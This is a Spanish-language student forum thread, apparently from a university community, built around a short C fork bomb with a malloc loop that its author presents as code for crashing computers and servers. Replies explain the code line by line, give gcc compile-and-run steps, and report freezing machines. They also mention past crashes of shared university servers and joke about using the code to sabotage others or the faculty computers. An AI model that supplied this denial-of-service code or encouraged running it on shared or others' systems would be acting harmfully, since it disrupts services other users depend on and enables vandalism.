La Ultima Esencia
Noticias:
 
*
Bienvenido(a), Visitante. Por favor, ingresa o regístrate. Diciembre 04, 2008, 20:31:59


Ingresar con nombre de usuario, contraseña y duración de la sesión


Páginas: [1] 2
  Imprimir  
Autor Tema: Pequeño codigo para petar el ordenador y algún que otro servidor  (Leído 1049 veces)
0 Usuarios y 1 Visitante están viendo este tema.
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« : Octubre 05, 2007, 14:38:41 »

 Wenas este codigo es peligroso, lo digo por propia experiencia y unai sabe xk, está en C es compatible con Linux y Windows

Código
GeSHi (c):
#include <stdio.h>
 
int main()
{
   while(1){
       fork(); /* Bifurka y krea un nuevo proceso con el codigo que hay debajo de el*/
       *malloc(999999999);/* El * es para punteros */
       }
}
 
 
Created by GeSHI 1.0.7.20

Creo que me falta algun include por ahi pero weno, creo que la idea se comprende
« Última modificación: Diciembre 21, 2007, 00:22:11 por pianista » En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #1 : Octubre 05, 2007, 14:43:20 »

Si alguna vez quereis joder a alguien o quedar mal en vuestra primera clase de laboratorios, no esta mal.. Grin Grin
Podrias explicarlo un poquito para los newbies jajaj
Saludos
En línea
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« Respuesta #2 : Octubre 05, 2007, 17:14:03 »

A ver el codigo re-explicado
Código:
/* Esto es un comentario se ponen así /**/ o así // */

#include <stdio.h>
/*#include: significa incluir una cabecera de una biblioteca osea un archivo con .h o las famosas .dll de Windows*/
/*<stdio.h> las <> indican que es estandar la biblioteca, stdio.h es la biblioteca que contiene las funciones estandar de entrada y salida de C como prinf() etc...*/


int main() /*main programa principal, si quereis saber lo que es int estudiad C xD*/
{
/*while(1), es una forma de poner un bucle infinito ...*/

    while(1){
        fork(); /* Bifurka y krea un nuevo proceso con el codigo que hay debajo de el*/
        *malloc(999999999);/* El * es para punteros */
      /*La función malloc reserva los bytes de memoria que le indikemos*/
        }
}

En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #3 : Octubre 05, 2007, 18:28:29 »

Si te lee Benja te mata...
El .h no es una biblioteca, es un archivo de cabecera Wink
Saludos
En línea
androsfenix
Staff

Desconectado Desconectado

Mensajes: 99



« Respuesta #4 : Octubre 06, 2007, 10:01:14 »

Mierda tienes razón xDD
En línea


pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #5 : Octubre 06, 2007, 11:39:56 »

Jajajja por cierto tampoco hacia falta que pusieras mil comentarios jajajajajajja
Saludos
En línea
mig
Moderador Global

Conectado Conectado

Mensajes: 632



WWW
« Respuesta #6 : Octubre 07, 2007, 23:25:08 »

cómo goza, ya tenía yo ganas de hacer programas revienta-pcs xDD
En línea

El problema que tenemos los informáticos es que hay demasiadas películas de ciencia ficción
pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #7 : Enero 24, 2008, 00:27:24 »

Por cierto,probadlo con vosotros mismos...
Lo hicieron por ssh en mi maquina, (no tenia malloc pero ya solo con el fork se peta), y de repente vereis como no se mueve ni el raton ni na Grin Grin Grin
Para probarlo, lo guardais como petaordenadores.c o como os de al gana acabado en .c, y compilais con gcc nombre.c -o nombre
Y ya podreis ejecutarlo con ./nombre
Saludos
En línea
Ulises

Desconectado Desconectado

Mensajes: 40


« Respuesta #8 : Noviembre 06, 2008, 18:23:39 »

no creo que puedas petar muchos servidores con eso, como mucho con windows... con linux llegaría un momento en que el kernel no dejara hacer más forks ni leches en vinagre...

momento tras el cual empezaría a patear tu proceso...
En línea
mig
Moderador Global

Conectado Conectado

Mensajes: 632



WWW
« Respuesta #9 : Noviembre 06, 2008, 20:29:09 »

¿Acaso lo has probado?
En línea

El problema que tenemos los informáticos es que hay demasiadas películas de ciencia ficción
pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #10 : Noviembre 06, 2008, 21:07:09 »

no creo que puedas petar muchos servidores con eso, como mucho con windows... con linux llegaría un momento en que el kernel no dejara hacer más forks ni leches en vinagre...

momento tras el cual empezaría a patear tu proceso...

Eso dependera de como tengas el servidor configurado...
Saludos
PD:Prueba en cualquier distro actual y veras si lo tiras o no...
En línea
Ulises

Desconectado Desconectado

Mensajes: 40


« Respuesta #11 : Noviembre 07, 2008, 14:01:17 »

probado, en una distro opensuse x86_64, ordenador con 4gb de ram

el entorno gráfico se quedó congelado al instante, pero pude entrar en la consola virtual (tardó 2-5 minutos en pasarse a ella) y matar el proceso... acción para la que también se tomó su tiempo.

probadlo en jair, veréis que risas (llegará un momento en que VOSOTROS no podáis hacer nada, y lo sé porque me pasó una vez de una forma "involuntaria")

EDITO: por cierto, el límite de procesos que tenía puesto era de 41984, lo he probado con un límite de 1000 y sigue siendo una petada, en menor medida, pero petada.

Esta vez costó menos que ejecutara el killall
« Última modificación: Noviembre 07, 2008, 15:06:06 por Ulises » En línea
pianista
Administrador

Desconectado Desconectado

Mensajes: 2622


« Respuesta #12 : Noviembre 07, 2008, 15:41:42 »

Si, pero sabes porque en jair y en duero ya no tira el servidor??
Porque un antiguo user de este foro, se lo cargo en su primera practica de Operativos...
Por cierto, de que curso eres?Gestion o Sistemas??
Saludos Wink
En línea
Ulises

Desconectado Desconectado

Mensajes: 40


« Respuesta #13 : Noviembre 11, 2008, 07:56:47 »

en los ordenadores de la facultad es casi imposible recuperar el sistema... en ulimit pone "unlimited"
En línea
siro
Master

Desconectado Desconectado

Mensajes: 526



« Respuesta #14 : Noviembre 11, 2008, 20:38:30 »

k mania con petar los ordenadores de la facultad XDDD
luego el pobre benja acordandose de nuestras familias en clase...
En línea

Páginas: [1] 2
  Imprimir  
 
Ir a:  


Powered by SMF 1.1.6 | SMF © 2006-2007, Simple Machines LLC
Seo4Smf v0.2 © Webmaster's Talks


AFILIATE AQUI
Creative Commons License
Esta obra está bajo una licencia de Creative Commons.